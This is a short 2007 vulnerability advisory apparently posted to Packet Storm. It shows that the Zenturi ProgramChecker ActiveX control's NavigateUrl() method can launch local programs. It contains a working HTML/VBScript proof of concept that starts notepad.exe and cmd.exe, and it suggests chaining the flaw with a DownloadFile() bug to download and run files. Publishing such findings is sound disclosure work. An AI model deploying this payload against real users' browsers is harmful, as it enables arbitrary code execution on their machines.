Type packetstorm
Reporter shinnai
Modified 2007-06-11T00:00:00


<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------  
<b>Zenturi ProgramChecker ActiveX Control "NavigateUrl()" Insecure Method</b>  
url: http://www.programchecker.com/activeintro.aspx  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
I can't believe my eyes when I see what you can do with this ActiveX  
(and I can't believe that this product is considered as antispyware).  
You can use the "NavigateUrl()" to arbitrary launch local file from a pc.  
Try, for example, to launch "c:\somefile.exe" and see what happen.  
Imagine to use this method with the "DownloadFile()" one, you can download  
something on the pc and run it without problems.  
For the "DownloadFile()" vulnerability see:  
<a href=http://www.milw0rm.com/exploits/4008>http://www.milw0rm.com/exploits/4008</a>  
<object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test' ></object>  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
<script language='vbscript'>  
Sub tryMe()  
test.NavigateUrl "notepad.exe" ,"shinnai" ,"_SELF"  
test.NavigateUrl "cmd.exe" ,"shinnai" ,"_SELF"  
End Sub